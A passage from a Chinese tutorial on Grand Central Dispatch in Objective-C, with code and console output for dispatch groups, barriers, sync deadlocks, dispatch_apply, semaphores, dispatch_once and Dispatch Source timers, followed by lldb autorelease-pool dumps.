上面的源代码可由 NSDate 类对象获取能传递给 dispatch_after 函数的 dispatch_time_t 类型的值。

dispatch_group_t 用法

在追加到 Dispatch Queue 中的多个处理全部结束后想执行结束处理,这种情况会经常出现。

例如下面代码:追加3个 Block 到 Global Dispatch Queue,这些 Block 如果全部执行完毕,就会执行 Main Dispatch Queue 中结束处理用的 Block。

1
2
3
4
5
6
7
8
9
10
- (void)testDispatchGroupNotify {
dispatch_queue_t queue = dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0);
dispatch_group_t group = dispatch_group_create();

dispatch_group_async(group, queue, ^{NSLog(@"blk0");});
dispatch_group_async(group, queue, ^{NSLog(@"blk2");});
dispatch_group_async(group, queue, ^{NSLog(@"blk3");});

dispatch_group_notify(group, dispatch_get_main_queue(), ^{NSLog(@"done");});
}

无论向什么样的 Dispatch Queue 中追加处理,使用 Dispatch Queue 都可以监视这些处理执行的结束。一旦检测到所有的处理执行结束,就可以将结束的处理追加到 Dispatch Queue 中。这就是使用

Dispatch Group 的原因。

在Dispatch Group中也可以使用 dispatch_group_wait 函数仅等待全部处理执行结束。

1
2
3
4
5
6
7
8
9
10
11
12
- (void)testDispatchGroupWait1 {
dispatch_queue_t queue = dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0);
dispatch_group_t group = dispatch_group_create();

dispatch_group_async(group, queue, ^{NSLog(@"blk0");});
dispatch_group_async(group, queue, ^{NSLog(@"blk1");});
dispatch_group_async(group, queue, ^{NSLog(@"blk2");});

dispatch_group_wait(group, DISPATCH_TIME_FOREVER);

NSLog(@"done.");
}

dispatch_group_wait 函数的第二个参数指定为等待时间(超时)。它属于 dispatch_time_t 类型的值。该源代码使用 DISPATCH_DISPATCH_TIME_FOREVER,意味着永久等待。只要属于Dispatch Group 的处理尚未结束,就会一直等待,中途不能取消。

如同 dispatch_after 函数说明的那样,指定等待间隔为1秒时应做如下处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
- (void)testDispatchGroupWait2 {
dispatch_time_t time = dispatch_time(DISPATCH_TIME_NOW, 1ull * NSEC_PER_SEC);
dispatch_group_t group = dispatch_group_create();
long result = dispatch_group_wait(group, time);
if (result == 0) {
/**
属于 Dispatch Group 的全部处理执行结束
*/
} else {
/**
属于 Dispatch Group 的某一个处理还在执行中
*/
}
}

如果 dispatch_group_wait 函数的返回值不为0,就意味着虽然经过了指定的时间,但属于 Dispatch Group 的某一个处理还在执行中。如果返回值为0,那么全部处理执行结束。当等待时间为 DISPATCH_TIME_FOREVER,由 dispatch_group_wait 函数返回时,由于属于 Dispatch Group 的处理必定全部执行结束,因此返回值恒为0。

这里的“等待”是什么意思呢?这意味着一旦调用 dispatch_group_wait 函数,该函数就处于调用的状态而不返回。即执行 dispatch_group_wait 函数的所在的线程停止。在经过 dispatch_group_wait 函数中指定的时间或属于指定 Dispatch Group 的处理全部执行结束之前,执行该函数的线程停止。

dispatch_barrier_async 用法

如果像下面这样简单地在 dispatch_async 函数中加入写入处理,那么根据 Concurrent Dispatch Queue 的性质,就有可能在写入处理前面的读取处理中读取到与期待不符的数据,还可能因非法访问导致应用程序异常结束。如果追加多个写入处理,则可能发生更多的问题,比如数据竞争等。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
- (void)testReadAndWrite {
dispatch_queue_t queue = dispatch_queue_create("com.gcd.barrier", DISPATCH_QUEUE_CONCURRENT);

dispatch_async(queue, ^{NSLog(@"blk0_for_reading");});
dispatch_async(queue, ^{NSLog(@"blk1_for_reading");});
dispatch_async(queue, ^{NSLog(@"blk2_for_reading");});
dispatch_async(queue, ^{NSLog(@"blk3_for_reading");});

dispatch_async(queue, ^{NSLog(@"blk_for_writing");});

dispatch_async(queue, ^{NSLog(@"blk4_for_reading");});
dispatch_async(queue, ^{NSLog(@"blk5_for_reading");});
dispatch_async(queue, ^{NSLog(@"blk6_for_reading");});
dispatch_async(queue, ^{NSLog(@"blk7_for_reading");});

}

程序运行的结果如下:

1
2
3
4
5
6
7
8
9
2020-02-01 10:33:21.908239+0800 GCD_Demo[1852:30606] blk0_for_reading
2020-02-01 10:33:21.908272+0800 GCD_Demo[1852:30354] blk1_for_reading
2020-02-01 10:33:21.908349+0800 GCD_Demo[1852:30705] blk2_for_reading
2020-02-01 10:33:21.908409+0800 GCD_Demo[1852:30706] blk3_for_reading
2020-02-01 10:33:21.908446+0800 GCD_Demo[1852:30606] blk4_for_reading
2020-02-01 10:33:21.908464+0800 GCD_Demo[1852:30354] blk5_for_reading
2020-02-01 10:33:21.908466+0800 GCD_Demo[1852:30707] blk_for_writing
2020-02-01 10:33:21.908490+0800 GCD_Demo[1852:30705] blk6_for_reading
2020-02-01 10:33:21.908498+0800 GCD_Demo[1852:30708] blk7_for_reading

因此我们要使用 dispatch_barrier_async 函数。dispatch_barrier_async 函数会等待追加到 Concurrent Dispatch Queue 上的并行执行的处理全部结束之后,再将指定的处理追加到该 Concurrent Dispatch Queue 中。然后在由 dispatch_barrier_async 函数追加的处理执行完毕后,Concurrent Dispatch Queue 才恢复为一般的动作,追加到该 Concurrent Dispatch Queue 的处理又开始并行执行。

使用 dispatch_barrier_async 的代码示例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
- (void)testReadAndWrite2 {
dispatch_queue_t queue = dispatch_queue_create("com.gcd.barrier", DISPATCH_QUEUE_CONCURRENT);

dispatch_async(queue, ^{NSLog(@"blk0_for_reading");});
dispatch_async(queue, ^{NSLog(@"blk1_for_reading");});
dispatch_async(queue, ^{NSLog(@"blk2_for_reading");});
dispatch_async(queue, ^{NSLog(@"blk3_for_reading");});

dispatch_barrier_async(queue, ^{NSLog(@"blk_for_writing");});

dispatch_async(queue, ^{NSLog(@"blk4_for_reading");});
dispatch_async(queue, ^{NSLog(@"blk5_for_reading");});
dispatch_async(queue, ^{NSLog(@"blk6_for_reading");});
dispatch_async(queue, ^{NSLog(@"blk7_for_reading");});
}

程序运行的结果如下:

1
2
3
4
5
6
7
8
9
2020-02-01 10:52:59.739217+0800 GCD_Demo[2063:43192] blk0_for_reading
2020-02-01 10:52:59.739225+0800 GCD_Demo[2063:43191] blk1_for_reading
2020-02-01 10:52:59.739240+0800 GCD_Demo[2063:42655] blk2_for_reading
2020-02-01 10:52:59.739244+0800 GCD_Demo[2063:43193] blk3_for_reading
2020-02-01 10:52:59.739375+0800 GCD_Demo[2063:43193] blk_for_writing
2020-02-01 10:52:59.739480+0800 GCD_Demo[2063:42655] blk5_for_reading
2020-02-01 10:52:59.739483+0800 GCD_Demo[2063:43193] blk4_for_reading
2020-02-01 10:52:59.739503+0800 GCD_Demo[2063:43191] blk6_for_reading
2020-02-01 10:52:59.739510+0800 GCD_Demo[2063:43192] blk7_for_reading

使用 Concurrent Dispatch Queue 和 dispatch_barrier_async 函数可实现高效率的数据库访问和文件访问。

dispatch_barrier_async 函数的处理流程图:

dispatch_sync 用法

dispatch_async 函数,就是将指定的Block“非同步”地追加到指定的 Dispatch Queue 中,dispatch_async 函数不做任何等待。

dispatch_sync 函数,就是将指定的Block“同步”地追加到指定的 Dispatch Queue 中。在追加的Block结束之前,dispatch_sync 函数会一直等待。如 dispatch_group_wait 函数一样,“等待”意味着当前线程停止。

我们先假设这样一种情况,执行 Main Dispatch Queue 时,使用另外的线程 Global Dispatch Queue 进行处理,处理结束后立即使用所得到的结果。在这种情况下就要使用 dispatch_sync 函数。

1
2
dispatch_queue_t queue = dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0);
dispatch_sync(queue, ^{/* 处理 */});

一旦调用 dispatch_sync 函数,那么在指定的处理执行结束之前,该函数不会返回。dispatch_sync 函数可简化源代码,也可说是简易版的 dispatch_group_wait 函数。正因为 dispatch_sync 函数使用简单,所以也容易引起问题,即死锁。

例如如果在主线程中执行以下源代码就会死锁。

1
2
3
4
5
6
7
8
9
10
11
12
- (void)testDispatchSync1 {

NSLog(@"begin...");

dispatch_queue_t queue = dispatch_get_main_queue();
dispatch_sync(queue, ^{
NSLog(@"Hello");
});

NSLog(@"end...");

}

该源代码在 Main Dispatch Queue 即主线程中执行指定的Block,并等待其执行结束。而其实在主线程中正在执行这些源代码,所以无法执行追加到 Main Dispatch Queue 的Block。下面的例子也一样。

1
2
3
4
5
6
7
8
9
10
11
12
- (void)testDispatchSync2 {

NSLog(@"begin...");

dispatch_queue_t queue = dispatch_get_main_queue();
dispatch_async(queue, ^{
dispatch_sync(queue, ^{NSLog(@"Hello");});
});

NSLog(@"end...");

}

Main Dispatch Queue 中执行的Block等待 Main Dispatch Queue 中要执行的Block 执行结束。这样的死锁就像在画像上画画一样。

当然 Serial Dispatch Queue 也会引起相同的问题。

1
2
3
4
5
6
7
8
9
10
11
12
- (void)testDispatchSync3 {

NSLog(@"begin...");

dispatch_queue_t queue = dispatch_queue_create("com.gcd.mySerialDispatchQueue", NULL);
dispatch_async(queue, ^{
dispatch_sync(queue, ^{NSLog(@"Hello");});
});

NSLog(@"end...");

}

由 dispatch_barrier_async 函数中含有 async 可推测出,相应的也有 dispatch_barrier_sync 函数。dispatch_barrier_async 函数的作用是在等待追加的处理全部执行结束后,再追加处理到 Dispatch Queue 中,此外,它还与 dispatch_sync 函数相同,会等待追加处理的执行结束。

dispatch_apply 用法

dispatch_apply 函数是 dispatch_sync 函数和 Dispatch Group 的关联 API。该函数按指定的次数将指定的Block追加到指定的 Dispatch Queue中,并等待全部处理执行结束。

1
2
3
4
5
6
7
- (void)testDispatchApply1 {
dispatch_queue_t queue = dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0);
dispatch_apply(10, queue, ^(size_t index) {
NSLog(@"blk %zu", index);
});
NSLog(@"done");
}

程序的输出结果:

1
2
3
4
5
6
7
8
9
10
11
2020-02-01 12:40:31.343067+0800 GCD_Demo[3361:105895] blk 1
2020-02-01 12:40:31.343067+0800 GCD_Demo[3361:105839] blk 2
2020-02-01 12:40:31.343074+0800 GCD_Demo[3361:105885] blk 0
2020-02-01 12:40:31.343078+0800 GCD_Demo[3361:105940] blk 4
2020-02-01 12:40:31.343079+0800 GCD_Demo[3361:105941] blk 7
2020-02-01 12:40:31.343078+0800 GCD_Demo[3361:105939] blk 3
2020-02-01 12:40:31.343085+0800 GCD_Demo[3361:105894] blk 5
2020-02-01 12:40:31.343085+0800 GCD_Demo[3361:105938] blk 6
2020-02-01 12:40:31.343224+0800 GCD_Demo[3361:105895] blk 8
2020-02-01 12:40:31.343235+0800 GCD_Demo[3361:105839] blk 9
2020-02-01 12:40:31.343787+0800 GCD_Demo[3361:105839] done

因为在 Global Dispatch Queue 中执行处理,所以各个处理的执行时间不定。但是输出结果中最后的 done 必定在最后的位置上。这是因为 dispatch_apply 函数会等待全部处理执行结束。

第一个参数为重复次数,第二个参数为追加对象的 Dispatch Queue,第三个参数为追加的处理。与到目前为止所出现的例子不同,第三个参数的Block为带有参数的Block。这是为了按第一个参数重复追加Block并区分各个Block而使用。例如要对 NSArray 类对象的所有元素执行处理时,不必一个一个编写 for 循环部分。

另外,由于 dispatch_apply 函数也与 dispatch_sync 函数相同,会等待处理执行结束,因此推荐在 dispatch_async 函数中非同步地执行 dispatch_apply 函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
- (void)testDispatchApply2 {

NSArray *array = [NSArray arrayWithObjects:@"obj1", @"obj2", @"obj3", @"obj4", @"obj5", @"obj6", nil];

dispatch_queue_t queue = dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0);
/** 在 Global Dispatch Queue 中非同步执行 */
dispatch_async(queue, ^{

/**
Global Dispatch Queue
等待 dispatch_apply 函数中全部处理执行结束
*/
dispatch_apply([array count], queue, ^(size_t index) {
/**
并列处理包含在 NSArray 对象的全部对象
*/
NSLog(@"%zu: %@", index, [array objectAtIndex:index]);
});

/**
dispatch_apply 函数中的处理全部执行结束
*/

/**
在 Main Dispatch Queue 中非同步执行
*/
dispatch_async(dispatch_get_main_queue(), ^{
/**
在 Main Dispatch Queue 中执行处理
用户界面更新等
*/
NSLog(@"done");
});

});

}

程序执行结果:

1
2
3
4
5
6
7
2020-02-01 13:17:57.785290+0800 GCD_Demo[3821:122905] 4: obj5
2020-02-01 13:17:57.785285+0800 GCD_Demo[3821:122911] 5: obj6
2020-02-01 13:17:57.785283+0800 GCD_Demo[3821:122895] 3: obj4
2020-02-01 13:17:57.785283+0800 GCD_Demo[3821:122896] 0: obj1
2020-02-01 13:17:57.785283+0800 GCD_Demo[3821:122897] 2: obj3
2020-02-01 13:17:57.785283+0800 GCD_Demo[3821:122894] 1: obj2
2020-02-01 13:17:57.811750+0800 GCD_Demo[3821:122848] done

dispatch_suspend / dispatch_resume 用法

当追加大量处理到 Dispatch Queue 时,在追加处理的过程中,有时希望不执行已追加的处理。例如演算结果被Block截获时,一些处理会对这个演算结果造成影响。在这种情况下,只要挂起 Dispatch Queue 即可。当可以执行时再恢复。

dispatch_suspend 函数挂起指定的 Dispatch Queue。

1
dispatch_suspend(queue);

Dispatch_resume 函数恢复指定的 Dispatch Queue。

1
dispatch_resume(queue);

这些函数对已经执行的处理没有影响。挂起后,追加到 Dispatch Queue 中但尚未执行的处理在此之后停止执行。而恢复则使得这些处理能够继续执行。

Dispatch Semaphore 用法

如前所述,当并行执行的处理更新数据时,会产生数据不一致的情况,有时应用程序还会异常结束。虽然使用 Serial Dispatch Queue 和 dispatch_barrier_async 函数可避免这类问题,但有必要进行更细粒度的排他控制。

1
2
3
4
5
6
7
8
9
10
11
12
- (void)testDispatchSemaphore1 {
dispatch_queue_t queue = dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0);

NSMutableArray *array = [[NSMutableArray alloc] init];

for (int i=0; i < 10000; ++i) {
dispatch_async(queue, ^{
[array addObject:[NSNumber numberWithInt:i]];
});
}

}

因为该源代码使用 Global Dispatch Queue 更新 NSMutableArray 类对象,所以执行后由内存错误导致应用程序异常结束的概率很高。此时应使用 Dispatch Semephore。

Dispatch Semaphore 是持有计数的信号,该计数是多线程编程中的计数类型信号。所谓信号,类似于过马路时常用的手旗。可以通过时举起手旗,不可通过时放下手旗。而在Dispatch Semaphore中,使用计数来实现该功能。计数为0时等待,计数为1或大于1时,减去1而不等待。

1
dispatch_semaphore_t semaphore = dispatch_semaphore_create(1);

参数表示计数的初始值。本例将计数值初始化为“1”。

1
dispatch_semaphore_wait(semaphore, DISPATCH_TIME_FOREVER);

dispatch_semaphore_wait 函数等待 Dispatch Semaphore 的计数值达到大于或等于 1。当计数值大于等于1,或者在待机中计数值大于等于1时,对该计数进行减法并从 dispatch_semaphore_wait 函数返回。第二个参数与 dispatch_group_wait 函数等相同,由 dispatch_time_t 类型值指定等待时间。该例的参数意味着永久等待。另外,dispatch_semaphore_wait 函数的返回值也与 dispatch_group_wait 函数相同。可像以下源代码这样通过返回值进行分支处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
dispatch_time_t time = dispatch_time(DISPATCH_TIME_NOW, 1ull * NSEC_PER_SEC);

long result = dispatch_semaphore_wait(semaphore, time);

if (result == 0) {
/**
由于 Dispatch Semaphore 的计数值达到大于等于 1
或者在待机中指定的时间内
Dispatch Semaphore 的计数值达到大于等于 1
所以 Dispatch Semaphore 的计数值减去 1。

可执行需要进行排他控制的处理
*/
} else {
/**
由于 Dispatch Semaphore 的计数值为0
因此在达到指定时间为止待机
*/
}

dispatch_semaphore_wait 函数返回0时,可安全地执行需要进行排他控制的处理。该处理结束时通过 dispatch_semaphore_signal 函数将 Dispatch Semaphore 的计数值加1。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
- (void)testDispatchSemaphore2 {

dispatch_queue_t queue = dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0);

/**
生成 Dispatch Semaphore
Dispatch Semaphore 的计数初始值设定为 “1”。
保证可访问 NSMutableArray 类对象的线程同时只能有1个。
*/
dispatch_semaphore_t semaphore = dispatch_semaphore_create(1);

NSMutableArray *array = [[NSMutableArray alloc] init];

for (int i = 0; i < 100000; i++) {
dispatch_async(queue, ^{
/**
等待 Dispatch Semaphore
一直等待,直到 Dispatch Semaphore 的计数值达到大于等于1。
*/
dispatch_semaphore_wait(semaphore, DISPATCH_TIME_FOREVER);

/**
由于Dispatch Semaphore 的计数值达到大于等于1
所以将 Dispatch Semaphore 的计数值减去 1,
dispatch_semaphore_wait 函数执行返回。

即执行到此时的 Dispatch Semaphore 的计数值恒为 0。

由于可访问 NSmutableArray 类对象的线程只有1个,因此可以安全的进行更新。
*/
[array addObject:[NSNumber numberWithInt:i]];

/**
排他控制处理结束,所以通过 dispatch_semaphore_signal 函数
将 Dispatch Semaphore 的计数值加1。
如果有通过 dispatch_semaphore_wait 函数
等待 Dispatch Semaphore 的计数值增加的线程,
就由最先等待的线程执行。
*/
dispatch_semaphore_signal(semaphore);
});
}

}

dispatch_once 用法

dispatch_once 函数是保证在应用程序中只执行一次指定处理的API。如果使用 dispatch_once 函数,源代码为:

1
2
3
4
5
6
7
8
9
10
11
- (void)testDispatchOnce {

static dispatch_once_t onceToken;
dispatch_once(&onceToken, ^{
/**
初始化
*/
NSLog(@"当前初始化代码只会执行一次");
});

}

通过 dispatch_once 函数,该源代码即使在多线程环境下执行,也可保证百分之百安全。在生成单例对象时使用。

Dispatch I/O 用法

Dispatch I/O 和 Dispatch Data,可以做到一次使用多个线程更快地并列读取。dispatch_io_create 函数生成 Dispatch I/O,并指定发生错误时用来执行处理的Block,以及执行该Block的 Dispatch Queue。如果想提高文件读取速度,可以尝试使用 Dispatch I/O。

Dispatch Source 用法

GCD中除了主要的 Dispatch Queue 外,还有不太引人注目的 Dispatch Source。下面展示一个使用 DISPATCH_SOURCE_TYPE_TIMER 的定时器的例子。在网络编程的通信超时等情况下可使用该例。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
- (void) testDispatchSource {

dispatch_source_t timer = dispatch_source_create(DISPATCH_SOURCE_TYPE_TIMER, 0, 0, dispatch_get_main_queue());

/**
将定时器设定为 15 秒后。
不指定为重复。
允许延迟 1 秒。
*/
dispatch_source_set_timer(timer, dispatch_time(DISPATCH_TIME_NOW, 15ull * NSEC_PER_SEC), DISPATCH_TIME_FOREVER, 1ull * NSEC_PER_SEC);

/** 指定定时器指定时间内执行的处理 */
dispatch_source_set_event_handler(timer, ^{
NSLog(@"wakeup!");

/** 取消 Dispatch Source 时的处理 */
dispatch_source_cancel(timer);
});

/** 指定取消 Dispatch Source 时的处理 */
dispatch_source_set_cancel_handler(timer, ^{
NSLog(@"canceled");

});

/** 启动 Dispatch Source */
dispatch_resume(timer);

}

上面的代码在15秒之后会执行“wakeup!”打印,打印完就取消当前的定时器。实际上 Dispatch Queue 没有“取消”这一概念。一旦将处理追加到 Dispatch Queue 中,就没有方法将该处理去除,也没有方法可在执行中取消处理。编程人员要么在处理中导入取消这一概念,要么放弃取消,或者使用 NSOperationQueue 等其他方法。

Dispatch Source 与 Dispatch Queue 不同,是可以取消的。而且取消时必须执行的处理可以指定为回调的Block形式。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
- (void)testDownloadImg {

NSString *url = @"http://images.apple.com/jp/iphone/features/includes/camera-gallery/03-20100607.jpg";

[[NSURLSession sharedSession] dataTaskWithURL:[NSURL URLWithString:url] completionHandler:^(NSData * _Nullable data, NSURLResponse * _Nullable response, NSError * _Nullable error) {

dispatch_queue_t queue = dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0);
dispatch_async(queue, ^{

if (!error) {

/**
在 Global Dispatch Queue 中对下载的数据进行解析处理,
不妨碍主线程可长时间处理。
*/

dispatch_async(dispatch_get_main_queue(), ^{
/**
在 Main Dispatch Queue 中使用解析结果,
对用户界面尽心刷新处理。
*/
});

} else {
/** 发生错误 */
NSLog(@"error:%@", error);
}

});

}];

}

为了不妨碍主线程的运行,在另外的线程中解析下载的数据。实现数据解析的就是通过 dispatch_get_global_queue 函数得到的一般优先级的 Global Dispatch Queue 和在 Global Dispatch Queue 中执行解析处理的 dispatch_async 函数。解析处理后为了反映到用户界面,需要在主线程中进行用户界面的更新。通过 dispatch_get_main_queue 函数得到的 Main Dispatch Queue 和在 Main Dispatch Queue 中使该处理执行的 dispatch_async 函数实现了此处理。

那么为了不妨碍主线程的运行,网络下载处理也是使用GCD的线程更好吗?答案是否定的。网络编程强烈推荐使用异步 API。如果在网络编程中使用线程,就很可能会产生大量使用线程的倾向,会引发很多问题。例如每个连接都使用线程,很快就会用尽线程栈内存等。因为Cocoa框架提供了用于异步网络通信的API,所以在网络编程中不可使用线程。务必使用用于异步网络通信的API。

参考链接

《iOS与OS X多线程和内存管理》

查看NSAutoreleasePool 中 autorelease对象的状况,可以使用运行时系统中的函数(lldb)po _objc_autoreleasePoolPrint();

测试的源代码如下:

执行断点1处的代码,日志如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
2020-01-27 19:22:37.241288+0800 NSAutoReleasePool测试[7028:191376] 执行断点1处的代码。
(lldb) po _objc_autoreleasePoolPrint();
objc[7028]: ##############
objc[7028]: AUTORELEASE POOLS for thread 0x11a0615c0
objc[7028]: 86 releases pending.
objc[7028]: [0x7ff577009000] ................ PAGE (hot) (cold)
objc[7028]: [0x7ff577009038] ################ POOL 0x7ff577009038
objc[7028]: [0x7ff577009040] 0x60800002d3a0 __NSCFString
objc[7028]: [0x7ff577009048] ################ POOL 0x7ff577009048
objc[7028]: [0x7ff577009050] ################ POOL 0x7ff577009050
objc[7028]: [0x7ff577009058] 0x60800023fca0 CAContextImpl
objc[7028]: [0x7ff577009060] 0x60800023fca0 CAContextImpl
objc[7028]: [0x7ff577009068] 0x604000027500 CAContextImpl
objc[7028]: [0x7ff577009070] 0x604000027500 CAContextImpl
objc[7028]: [0x7ff577009078] 0x604000028d20 __NSArrayI
objc[7028]: [0x7ff577009080] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff577009088] 0x604000071c40 __NSCFDictionary
objc[7028]: [0x7ff577009090] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff577009098] 0x604000049e40 __NSArrayM
objc[7028]: [0x7ff5770090a0] 0x7ff578808a50 UIWindow
objc[7028]: [0x7ff5770090a8] 0x7ff576604080 UIStatusBarWindow
objc[7028]: [0x7ff5770090b0] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff5770090b8] 0x604000046990 __NSArrayM
objc[7028]: [0x7ff5770090c0] 0x7ff57880aeb0 UIView
objc[7028]: [0x7ff5770090c8] 0x7ff57880aeb0 UIView
objc[7028]: [0x7ff5770090d0] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff5770090d8] 0x604000048970 __NSArrayM
objc[7028]: [0x7ff5770090e0] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff5770090e8] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff5770090f0] 0x60c0000cbb40 UIApplicationSceneSettings
objc[7028]: [0x7ff5770090f8] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff577009100] 0x60c0000f7e00 _UIApplicationCanvas
objc[7028]: [0x7ff577009108] 0x60c0000cbb40 UIApplicationSceneSettings
objc[7028]: [0x7ff577009110] 0x60c0000cbb40 UIApplicationSceneSettings
objc[7028]: [0x7ff577009118] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff577009120] 0x60c0000f7e00 _UIApplicationCanvas
objc[7028]: [0x7ff577009128] 0x60c0000cbb40 UIApplicationSceneSettings
objc[7028]: [0x7ff577009130] 0x60c0000cbb40 UIApplicationSceneSettings
objc[7028]: [0x7ff577009138] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff577009140] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff577009148] 0x60c0000cbb40 UIApplicationSceneSettings
objc[7028]: [0x7ff577009150] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff577009158] 0x60c0000f7e00 _UIApplicationCanvas
objc[7028]: [0x7ff577009160] 0x60c0000cbb40 UIApplicationSceneSettings
objc[7028]: [0x7ff577009168] 0x60c0000cbb40 UIApplicationSceneSettings
objc[7028]: [0x7ff577009170] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff577009178] 0x60c0000f7e00 _UIApplicationCanvas
objc[7028]: [0x7ff577009180] 0x60c0000cbb40 UIApplicationSceneSettings
objc[7028]: [0x7ff577009188] 0x60c0000cbb40 UIApplicationSceneSettings
objc[7028]: [0x7ff577009190] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff577009198] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff5770091a0] 0x60c0000cbb40 UIApplicationSceneSettings
objc[7028]: [0x7ff5770091a8] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff5770091b0] 0x60c0000f7e00 _UIApplicationCanvas
objc[7028]: [0x7ff5770091b8] 0x60c0000cbb40 UIApplicationSceneSettings
objc[7028]: [0x7ff5770091c0] 0x60c0000cbb40 UIApplicationSceneSettings
objc[7028]: [0x7ff5770091c8] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff5770091d0] 0x60c0000f7e00 _UIApplicationCanvas
objc[7028]: [0x7ff5770091d8] 0x60c0000cbb40 UIApplicationSceneSettings
objc[7028]: [0x7ff5770091e0] 0x60c0000cbb40 UIApplicationSceneSettings
objc[7028]: [0x7ff5770091e8] 0x604000046990 __NSArrayM
objc[7028]: [0x7ff5770091f0] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff5770091f8] 0x60c0000cbb40 UIApplicationSceneSettings
objc[7028]: [0x7ff577009200] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff577009208] 0x7ff578800540 UITouch
objc[7028]: [0x7ff577009210] 0x604000049420 __NSArrayM
objc[7028]: [0x7ff577009218] 0x604000013130 __NSSingleObjectSetI
objc[7028]: [0x7ff577009220] 0x60400008de80 __NSMallocBlock__
objc[7028]: [0x7ff577009228] 0x604000013130 __NSSingleObjectSetI
objc[7028]: [0x7ff577009230] 0x7ff578808a50 UIWindow
objc[7028]: [0x7ff577009238] 0x60800010ee80 NSXPCConnection
objc[7028]: [0x7ff577009240] 0x60400008de30 __NSXPCInterfaceProxy__UIKeyboardArbitration
objc[7028]: [0x7ff577009248] 0x60800002ea80 NSXPCInterface
objc[7028]: [0x7ff577009250] 0x10ecc4a58 __NSGlobalBlock__
objc[7028]: [0x7ff577009258] 0x60800002ea80 NSXPCInterface
objc[7028]: [0x7ff577009260] 0x60800002ef60 __NSArrayI
objc[7028]: [0x7ff577009268] 0x7ff57880aeb0 UIView
objc[7028]: [0x7ff577009270] 0x7ff578808a50 UIWindow
objc[7028]: [0x7ff577009278] 0x7ff57880aeb0 UIView
objc[7028]: [0x7ff577009280] 0x6040000130f0 __NSDate
objc[7028]: [0x7ff577009288] 0x604000360cc0 __NSCFTimer
objc[7028]: [0x7ff577009290] 0x604000029440 __NSArrayI
objc[7028]: [0x7ff577009298] 0x7ff578808a50 UIWindow
objc[7028]: [0x7ff5770092a0] 0x7ff578808a50 UIWindow
objc[7028]: [0x7ff5770092a8] 0x7ff578808a50 UIWindow
objc[7028]: [0x7ff5770092b0] 0x7ff578808a50 UIWindow
objc[7028]: [0x7ff5770092b8] 0x60400002abc0 __NSArrayI
objc[7028]: [0x7ff5770092c0] 0x60400002aaa0 __NSArrayI
objc[7028]: [0x7ff5770092c8] 0x6040000132d0 __NSSingleObjectArrayI
objc[7028]: [0x7ff5770092d0] 0x60800010edf0 UITouchesEvent
objc[7028]: [0x7ff5770092d8] 0x7ff578808a50 UIWindow
objc[7028]: [0x7ff5770092e0] 0x604000026f00 AppDelegate
objc[7028]: ##############
0x75269231ba3900d2

执行断点2处的代码,日志如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
2020-01-27 19:24:29.654753+0800 NSAutoReleasePool测试[7028:191376] 执行断点2处的代码。
2020-01-27 19:24:29.654806+0800 NSAutoReleasePool测试[7028:191487] XPC connection interrupted
(lldb) po _objc_autoreleasePoolPrint();
objc[7028]: ##############
objc[7028]: AUTORELEASE POOLS for thread 0x11a0615c0
objc[7028]: 87 releases pending.
objc[7028]: [0x7ff577009000] ................ PAGE (hot) (cold)
objc[7028]: [0x7ff577009038] ################ POOL 0x7ff577009038
objc[7028]: [0x7ff577009040] 0x60800002d3a0 __NSCFString
objc[7028]: [0x7ff577009048] ################ POOL 0x7ff577009048
objc[7028]: [0x7ff577009050] ################ POOL 0x7ff577009050
objc[7028]: [0x7ff577009058] 0x60800023fca0 CAContextImpl
objc[7028]: [0x7ff577009060] 0x60800023fca0 CAContextImpl
objc[7028]: [0x7ff577009068] 0x604000027500 CAContextImpl
objc[7028]: [0x7ff577009070] 0x604000027500 CAContextImpl
